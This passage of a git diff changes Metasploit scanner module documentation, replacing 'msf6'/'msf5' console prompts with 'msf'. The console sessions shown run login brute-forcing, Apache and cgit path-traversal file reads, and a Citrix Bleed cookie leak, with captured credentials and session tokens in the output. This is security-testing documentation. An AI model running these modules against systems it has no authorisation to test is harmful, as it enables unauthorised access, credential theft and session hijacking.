auxiliary(scanner/http/apache_nifi_login) > set USERNAME a43c5a33-1635-46aa-8773-ef65f572fa0e USERNAME => a43c5a33-1635-46aa-8773-ef65f572fa0e -msf6 auxiliary(scanner/http/apache_nifi_login) > set PASSWORD QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u +msf auxiliary(scanner/http/apache_nifi_login) > set PASSWORD QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u PASSWORD => QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u -msf6 auxiliary(scanner/http/apache_nifi_login) > run +msf auxiliary(scanner/http/apache_nifi_login) > run [*] Checking 127.0.0.1 [+] 127.0.0.1:8443 - Apache NiFi - Login successful as 'a43c5a33-1635-46aa-8773-ef65f572fa0e' with password 'QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_nifi_login) > creds +msf auxiliary(scanner/http/apache_nifi_login) > creds Credentials =========== @@ -107,5 +107,5 @@ host origin service public pr ---- ------ ------- ------ ------- ----- ------------ ---------- 127.0.0.1 127.0.0.1 8443/tcp (https) a43c5a33-1635-46aa-8773-ef65f572fa0e QUicCmARFZKeaO1QqPTdnJlB/IPCjJ3u Password -msf6 auxiliary(scanner/http/apache_nifi_login) > +msf auxiliary(scanner/http/apache_nifi_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md index 50ad218bcb477..594f483dcb420 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md @@ -46,10 +46,10 @@ docker run -p 8080:8080 -d apache/nifi:1.11.0 └─$ docker run -p 8443:8443 -d apache/nifi:1.21.0 1df39f1d1dc0a4abde9e2daedf8b3dc66d37fb53126e491b7050da618e971dfd └─$ ./msfconsole -q -msf6 > use auxiliary/scanner/http/apache_nifi_version -msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/apache_nifi_version +msf auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/apache_nifi_version) > run +msf auxiliary(scanner/http/apache_nifi_version) > run [+] Apache NiFi 1.21.0 found on 127.0.0.1 [*] Scanned 1 of 1 hosts (100% complete) @@ -60,15 +60,15 @@ msf6 auxiliary(scanner/http/apache_nifi_version) > run └─$ docker run -p 8080:8080 -d apache/nifi:1.11.0 089f1b164853df8b088a3e80d25d7f886b1934a654ed7807433e3eef46a5973f └─$ ./msfconsole -q -msf6 > use auxiliary/scanner/http/apache_nifi_version -msf6 auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/http/apache_nifi_version +msf auxiliary(scanner/http/apache_nifi_version) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/apache_nifi_version) > set ssl false +msf auxiliary(scanner/http/apache_nifi_version) > set ssl false [!] Changing the SSL option's value may require changing RPORT! ssl => false -msf6 auxiliary(scanner/http/apache_nifi_version) > set rport 8080 +msf auxiliary(scanner/http/apache_nifi_version) > set rport 8080 rport => 8080 -msf6 auxiliary(scanner/http/apache_nifi_version) > run +msf auxiliary(scanner/http/apache_nifi_version) > run [+] Apache NiFi 1.11.0 found on 127.0.0.1 [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/http/apache_normalize_path.md b/documentation/modules/auxiliary/scanner/http/apache_normalize_path.md index 16e72577bb99c..795550107ea94 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_normalize_path.md +++ b/documentation/modules/auxiliary/scanner/http/apache_normalize_path.md @@ -107,85 +107,85 @@ Read remote file on the server. #### CVE-2021-42013 (by default) ``` -msf6 > use auxiliary/scanner/http/apache_normalize_path -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 +msf > use auxiliary/scanner/http/apache_normalize_path +msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 rhosts => 172.20.4.11 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 +msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 rport => 8080 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false +msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false [!] Changing the SSL option's value may require changing RPORT! ssl => false -msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true +msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true verbose => true -msf6 auxiliary(scanner/http/apache_normalize_path) > run +msf auxiliary(scanner/http/apache_normalize_path) > run [+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013. [*] Obtained HTTP response code 403. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_normalize_path) > +msf auxiliary(scanner/http/apache_normalize_path) > ``` #### CVE-2021-41773 ``` -msf6 auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 +msf auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path +msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 rhosts => 172.20.4.11 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 +msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 rport => 8080 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false +msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false ssl => false -msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true +msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true verbose => true -msf6 auxiliary(scanner/http/apache_normalize_path) > setg cve CVE-2021-41773 +msf auxiliary(scanner/http/apache_normalize_path) > setg cve CVE-2021-41773 cve => CVE-2021-41773 -msf6 auxiliary(scanner/http/apache_normalize_path) > run +msf auxiliary(scanner/http/apache_normalize_path) > run [+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-41773. [*] Obtained HTTP response code 403. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_normalize_path) > +msf auxiliary(scanner/http/apache_normalize_path) > ``` #### Check for RCE ``` -msf6 auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 +msf auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path +msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 rhosts => 172.20.4.11 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 +msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 rport => 8080 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false +msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false ssl => false -msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true +msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true verbose => true -msf6 auxiliary(scanner/http/apache_normalize_path) > setg action CHECK_RCE +msf auxiliary(scanner/http/apache_normalize_path) > setg action CHECK_RCE action => CHECK_RCE -msf6 auxiliary(scanner/http/apache_normalize_path) > run +msf auxiliary(scanner/http/apache_normalize_path) > run [+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled). [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_normalize_path) > +msf auxiliary(scanner/http/apache_normalize_path) > ``` ### Read file ``` -msf6 auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 +msf auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path +msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11 rhosts => 172.20.4.11 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 +msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080 rport => 8080 -msf6 auxiliary(scanner/http/apache_normalize_path) > setg ssl false +msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false ssl => false -msf6 auxiliary(scanner/http/apache_normalize_path) > setg verbose true +msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true verbose => true -msf6 auxiliary(scanner/http/apache_normalize_path) > setg action READ_FILE +msf auxiliary(scanner/http/apache_normalize_path) > setg action READ_FILE action => READ_FILE -msf6 auxiliary(scanner/http/apache_normalize_path) > run +msf auxiliary(scanner/http/apache_normalize_path) > run [*] Obtained HTTP response code 200. [+] 172.20.4.11:8080 @@ -212,7 +212,7 @@ _apt:x:100:65534::/nonexistent:/usr/sbin/nologin [+] File saved in: /home/mekhalleh/.msf4/loot/20211010161150_default_172.20.4.11_apache.traversal_540877.bin [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/apache_normalize_path) > +msf auxiliary(scanner/http/apache_normalize_path) > ``` ## References diff --git a/documentation/modules/auxiliary/scanner/http/apache_userdir_enum.md b/documentation/modules/auxiliary/scanner/http/apache_userdir_enum.md index 419844f476b49..5d7b6d101b5bd 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_userdir_enum.md +++ b/documentation/modules/auxiliary/scanner/http/apache_userdir_enum.md @@ -22,10 +22,10 @@ that exist but have no `public_html` directory. ![apache_userdir_enum Demo](https://i.imgur.com/UZanfTI.gif) ``` -msf5 > use auxiliary/scanner/http/apache_userdir_enum -msf5 auxiliary(scanner/http/apache_userdir_enum) > set rhosts alderaan +msf > use auxiliary/scanner/http/apache_userdir_enum +msf auxiliary(scanner/http/apache_userdir_enum) > set rhosts alderaan rhosts => alderaan -msf5 auxiliary(scanner/http/apache_userdir_enum) > run +msf auxiliary(scanner/http/apache_userdir_enum) > run [*] http://192.168.6.172/~ - Trying UserDir: '' [*] http://192.168.6.172/ - Apache UserDir: '' not found diff --git a/documentation/modules/auxiliary/scanner/http/appletv_login.md b/documentation/modules/auxiliary/scanner/http/appletv_login.md index 687322780e7bf..5d30675f3b2e2 100644 --- a/documentation/modules/auxiliary/scanner/http/appletv_login.md +++ b/documentation/modules/auxiliary/scanner/http/appletv_login.md @@ -65,13 +65,13 @@ HTTP server virtual host ## Scenarios ``` msf > use auxiliary/scanner/http/appletv_login -msf6 auxiliary(scanner/http/appletv_login) > set rhosts 127.0.0.1 +msf auxiliary(scanner/http/appletv_login) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/appletv_login) > set password N0tpassword! +msf auxiliary(scanner/http/appletv_login) > set password N0tpassword! password => N0tpassword! -msf6 auxiliary(scanner/http/appletv_login) > set userfile ./USERNAMES +msf auxiliary(scanner/http/appletv_login) > set userfile ./USERNAMES userfile => ./USERNAMES -msf6 auxiliary(scanner/http/appletv_login) > options +msf auxiliary(scanner/http/appletv_login) > options Module options (auxiliary/scanner/http/appletv_login): @@ -99,12 +99,12 @@ Module options (auxiliary/scanner/http/appletv_login): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/http/appletv_login) > run +msf auxiliary(scanner/http/appletv_login) > run [*] Attempting to login to /stop using password list [!] 127.0.0.1:7000 - No active DB -- Credential data will not be saved! [-] 127.0.0.1:7000 - Failed: 'AirPlay:password' [+] 127.0.0.1:7000 - 127.0.0.1:7000 - Login Successful: WORKSTATION\sa:N0tpassword! [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/appletv_login) > +msf auxiliary(scanner/http/appletv_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/axis_login.md b/documentation/modules/auxiliary/scanner/http/axis_login.md index 41a10f3c79265..e37eff1bce385 100644 --- a/documentation/modules/auxiliary/scanner/http/axis_login.md +++ b/documentation/modules/auxiliary/scanner/http/axis_login.md @@ -84,13 +84,13 @@ Specific demo of using the module that might be useful in a real world scenario. ``` msf > use auxiliary/scanner/http/axis_login -msf6 auxiliary(scanner/http/axis_login) > set rhosts 127.0.0.1 +msf auxiliary(scanner/http/axis_login) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/axis_login) > set password N0tpassword! +msf auxiliary(scanner/http/axis_login) > set password N0tpassword! password => N0tpassword! -msf6 auxiliary(scanner/http/axis_login) > set userfile ./USERNAMES +msf auxiliary(scanner/http/axis_login) > set userfile ./USERNAMES userfile => ./USERNAMES -msf6 auxiliary(scanner/http/axis_login) > show options +msf auxiliary(scanner/http/axis_login) > show options Module options (auxiliary/scanner/http/axis_login): @@ -120,12 +120,12 @@ Module options (auxiliary/scanner/http/axis_login): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/http/axis_login) > run +msf auxiliary(scanner/http/axis_login) > run [*] Attempting to login to /stop using password list [!] 127.0.0.1:8080 - No active DB -- Credential data will not be saved! [-] 127.0.0.1:8080 - Failed: 'AxisRoot:password' [+] 127.0.0.1:8080 - 127.0.0.1:8080 - Login Successful: WORKSTATION\AxisRoot:N0tpassword! [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/axis_login) > +msf auxiliary(scanner/http/axis_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/azure_ad_login.md b/documentation/modules/auxiliary/scanner/http/azure_ad_login.md index b51939a2d112d..3c3d4a262c102 100644 --- a/documentation/modules/auxiliary/scanner/http/azure_ad_login.md +++ b/documentation/modules/auxiliary/scanner/http/azure_ad_login.md @@ -51,16 +51,16 @@ If a tenant's domain is known, you can use this module for username and password Specific target output replaced with *s so as not to disclose information ``` -msf6 > use auxiliary/scanner/http/azure_ad_login -msf6 auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt +msf > use auxiliary/scanner/http/azure_ad_login +msf auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt USER_FILE => /home/kali/users.txt -msf6 auxiliary(scanner/http/azure_ad_login) > set PASS_FILE /home/kali/pass.txt +msf auxiliary(scanner/http/azure_ad_login) > set PASS_FILE /home/kali/pass.txt PASS_FILE => /home/kali/pass.txt -msf6 auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com +msf auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com DOMAIN => example.com -msf6 auxiliary(scanner/http/azure_ad_login) > run +msf auxiliary(scanner/http/azure_ad_login) > run -msf6 auxiliary(scanner/http/azure_ad_login) > run +msf auxiliary(scanner/http/azure_ad_login) > run [-] example.com\wrong is not a valid user [-] example.com\wrong is not a valid user @@ -79,14 +79,14 @@ msf6 auxiliary(scanner/http/azure_ad_login) > run If a tenant's domain is known, you can enumerate their usernames ``` -msf6 > use auxiliary/scanner/http/azure_ad_login -msf6 auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt +msf > use auxiliary/scanner/http/azure_ad_login +msf auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt USER_FILE => /home/kali/users.txt -msf6 auxiliary(scanner/http/azure_ad_login) > set PASSWORD password +msf auxiliary(scanner/http/azure_ad_login) > set PASSWORD password PASSWORD => password -msf6 auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com +msf auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com DOMAIN => example.com -msf6 auxiliary(scanner/http/azure_ad_login) > run +msf auxiliary(scanner/http/azure_ad_login) > run [-] example.com\wrong is not a valid user [-] example.com\k0pak4 is not a valid user diff --git a/documentation/modules/auxiliary/scanner/http/backup_file.md b/documentation/modules/auxiliary/scanner/http/backup_file.md index 0727434f86856..a6d0d9ea7949f 100644 --- a/documentation/modules/auxiliary/scanner/http/backup_file.md +++ b/documentation/modules/auxiliary/scanner/http/backup_file.md @@ -20,14 +20,14 @@ In this scenario, we look for `/backup` instead. On the web server, we've creat `backup.orig`, and `backup~`. ``` -msf5 > use auxiliary/scanner/http/backup_file -msf5 auxiliary(scanner/http/backup_file) > set verbose true +msf > use auxiliary/scanner/http/backup_file +msf auxiliary(scanner/http/backup_file) > set verbose true verbose => true -msf5 auxiliary(scanner/http/backup_file) > set path /backup +msf auxiliary(scanner/http/backup_file) > set path /backup path => /backup -msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39 +msf auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39 rhosts => 192.168.2.39 -msf5 auxiliary(scanner/http/backup_file) > run +msf auxiliary(scanner/http/backup_file) > run [*] NOT Found http://192.168.2.39:80/backup.backup [*] NOT Found http://192.168.2.39:80/backup.bak diff --git a/documentation/modules/auxiliary/scanner/http/brute_dirs.md b/documentation/modules/auxiliary/scanner/http/brute_dirs.md index e140ad3718785..f728417c0e3b2 100644 --- a/documentation/modules/auxiliary/scanner/http/brute_dirs.md +++ b/documentation/modules/auxiliary/scanner/http/brute_dirs.md @@ -93,11 +93,11 @@ PORT STATE SERVICE Configure the `brute_dirs` module to use the identified IP address and port number: ``` -msf5 > use auxiliary/scanner/http/brute_dirs -msf5 auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.3 -msf5 auxiliary(scanner/http/brute_dirs) > set RPORT 8080 +msf > use auxiliary/scanner/http/brute_dirs +msf auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.3 +msf auxiliary(scanner/http/brute_dirs) > set RPORT 8080 RHOSTS => 192.168.2.3 -msf5 auxiliary(scanner/http/brute_dirs) > run +msf auxiliary(scanner/http/brute_dirs) > run [*] Using code '404' as not found. [+] Found http://192.168.2.3:8080/dav/ 200 @@ -109,11 +109,11 @@ msf5 auxiliary(scanner/http/brute_dirs) > run ### Testing against multiple hosts using a CIDR ``` -msf5 > use auxiliary/scanner/http/brute_dirs -msf5 auxiliary(scanner/http/brute_dirs) > show options +msf > use auxiliary/scanner/http/brute_dirs +msf auxiliary(scanner/http/brute_dirs) > show options ... show and set options ... -msf5 auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.1/24 -msf5 auxiliary(scanner/http/brute_dirs) > run +msf auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.1/24 +msf auxiliary(scanner/http/brute_dirs) > run ``` ### Custom format to find specifically formatted directories @@ -122,8 +122,8 @@ A format string of `Aaaaad` will search for 6 character directories, starting wi digit. E.g. ``` -msf5 > use auxiliary/scanner/http/brute_dirs -msf5 auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.3 -msf5 auxiliary(scanner/http/brute_dirs) > set FORMAT 'Aaaaad' -msf5 auxiliary(scanner/http/brute_dirs) > run +msf > use auxiliary/scanner/http/brute_dirs +msf auxiliary(scanner/http/brute_dirs) > set RHOSTS 192.168.2.3 +msf auxiliary(scanner/http/brute_dirs) > set FORMAT 'Aaaaad' +msf auxiliary(scanner/http/brute_dirs) > run ``` diff --git a/documentation/modules/auxiliary/scanner/http/cassandra_web_file_read.md b/documentation/modules/auxiliary/scanner/http/cassandra_web_file_read.md index a5ef4a306ddbb..b475042e85418 100644 --- a/documentation/modules/auxiliary/scanner/http/cassandra_web_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/cassandra_web_file_read.md @@ -55,10 +55,10 @@ cassandra-web ## Scenarios ### Cassandra Web 0.5.0 Linux Debian 10.11 (Ruby 2.5.5p157 and Apache Cassandra 3.11.13) ``` -msf6 > use auxiliary/scanner/http/cassandra_web_file_read -msf6 auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1 +msf > use auxiliary/scanner/http/cassandra_web_file_read +msf auxiliary(scanner/http/cassandra_web_file_read) > set RHOSTS 192.168.56.1 RHOSTS => 192.168.56.1 -msf6 auxiliary(scanner/http/cassandra_web_file_read) > run +msf auxiliary(scanner/http/cassandra_web_file_read) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Cassandra Web Detected diff --git a/documentation/modules/auxiliary/scanner/http/cgit_traversal.md b/documentation/modules/auxiliary/scanner/http/cgit_traversal.md index ca2896fc57af4..e6db7f5b1c4ba 100644 --- a/documentation/modules/auxiliary/scanner/http/cgit_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/cgit_traversal.md @@ -69,18 +69,18 @@ Git repository on the remote server. Default is empty, `''`. ### Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1 ``` -msf5 > use auxiliary/scanner/http/cgit_traversal -msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123 +msf > use auxiliary/scanner/http/cgit_traversal +msf auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123 rhosts => 172.22.222.123 -msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/ +msf auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/ targeturi => /mygit/ -msf5 auxiliary(scanner/http/cgit_traversal) > set repo test +msf auxiliary(scanner/http/cgit_traversal) > set repo test repo => test -msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt +msf auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt filepath => /home/msfdev/proof.txt -msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true +msf auxiliary(scanner/http/cgit_traversal) > set verbose true verbose => true -msf5 auxiliary(scanner/http/cgit_traversal) > run +msf auxiliary(scanner/http/cgit_traversal) > run [+] 172.22.222.123:80 - you found me! diff --git a/documentation/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.md b/documentation/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.md index 480fb37ecb0ab..40c0968418103 100644 --- a/documentation/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.md +++ b/documentation/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.md @@ -116,17 +116,17 @@ File containing passwords, one per line ### ASAv 9.18.1 with ASDM enabled and the `cisco:cisco123` creds set. ``` -msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce -msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201 +msf > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce +msf auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201 RHOST => 10.9.49.201 -msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false +msf auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false VERBOSE => false -msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run +msf auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run [*] The remote target appears to host Cisco ASA ASDM. The module will continue. [*] Starting login brute force... [+] SUCCESSFUL LOGIN - "cisco":"cisco123" [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > +msf auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.md b/documentation/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.md index a24242127c7c2..6bdb591c72f69 100644 --- a/documentation/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.md +++ b/documentation/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.md @@ -154,43 +154,43 @@ Simply using the default HTTP username and password lists and `user1:user1` adde `data/wordlists/http_default_userpass.txt`. ``` -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false VERBOSE => false -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201 +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201 RHOST => 10.9.49.201 -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > run [*] The remote target appears to host Cisco SSL VPN Service. The module will continue. [*] Starting login brute force... [+] SUCCESSFUL LOGIN - "user1":"user1" [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > ``` ## ASAv 9.18.1 with Clientless SSL VPN enabled and the `user1:user1` on the `TunnelGroup1` Connection Profile ``` -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > use auxiliary/scanner/http/cisco_asa_clientless_vpn +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > set VERBOSE false VERBOSE => false -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201 +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > set RHOST 10.9.49.201 RHOST => 10.9.49.201 -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > run [*] The remote target appears to host Cisco SSL VPN Service. The module will continue. [*] Starting login brute force... [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > set GROUP TunnelGroup1 +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > set GROUP TunnelGroup1 GROUP => TunnelGroup1 -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > run +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > run [*] The remote target appears to host Cisco SSL VPN Service. The module will continue. [*] Starting login brute force... [+] SUCCESSFUL LOGIN - "user1":"user1" [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/cisco_asa_clientless_vpn) > +msf auxiliary(scanner/http/cisco_asa_clientless_vpn) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/cisco_device_manager.md b/documentation/modules/auxiliary/scanner/http/cisco_device_manager.md index a102171128a59..e80d526a85118 100644 --- a/documentation/modules/auxiliary/scanner/http/cisco_device_manager.md +++ b/documentation/modules/auxiliary/scanner/http/cisco_device_manager.md @@ -29,12 +29,12 @@ ### Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4 ``` - msf5 > use auxiliary/scanner/http/cisco_device_manager - msf5 auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2 + msf > use auxiliary/scanner/http/cisco_device_manager + msf auxiliary(scanner/http/cisco_device_manager) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 - msf5 auxiliary(scanner/http/cisco_device_manager) > set vebose true + msf auxiliary(scanner/http/cisco_device_manager) > set vebose true vebose => true - msf5 auxiliary(scanner/http/cisco_device_manager) > run + msf auxiliary(scanner/http/cisco_device_manager) > run [+] 2.2.2.2:80 Successfully authenticated to this device [+] 2.2.2.2:80 Processing the configuration file... diff --git a/documentation/modules/auxiliary/scanner/http/cisco_directory_traversal.md b/documentation/modules/auxiliary/scanner/http/cisco_directory_traversal.md index 02e705d8e31e1..268137147f429 100644 --- a/documentation/modules/auxiliary/scanner/http/cisco_directory_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/cisco_directory_traversal.md @@ -21,10 +21,10 @@ ``` - msf5 > use auxiliary/scanner/http/cisco_directory_traversal - msf5 auxiliary(scanner/http/cisco_directory_traversal) > set rhosts 192.168.1.1 + msf > use auxiliary/scanner/http/cisco_directory_traversal + msf auxiliary(scanner/http/cisco_directory_traversal) > set rhosts 192.168.1.1 rhosts => 192.168.1.1 - msf5 auxiliary(scanner/http/cisco_directory_traversal) > run + msf auxiliary(scanner/http/cisco_directory_traversal) > run [+] /// [ diff --git a/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md b/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md index c65521c1b5e58..463c93d6bb29d 100644 --- a/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md +++ b/documentation/modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.md @@ -22,7 +22,7 @@ Specific demo of using the module that might be useful in a real world scenario. NetScaler VPX instance for VMware ESX from `NSVPX-ESX-13.1-48.47_nc_64`. ``` -msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > show options +msf auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > show options Module options (auxiliary/scanner/http/citrix_bleed_cve_2023_4966): @@ -39,12 +39,12 @@ Module options (auxiliary/scanner/http/citrix_bleed_cve_2023_4966): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > run +msf auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > run [+] Cookie: NSC_AAAC=fdac8de9ed76012688b4d33e9d5f74b00c3a0818745525d5f4f58455e445a4a42 Username: metasploit [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > +msf auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > ``` Once the cookie has been leaked, load it into the browser using the developer tools. diff --git a/documentation/modules/auxiliary/scanner/http/citrix_dir_traversal.md 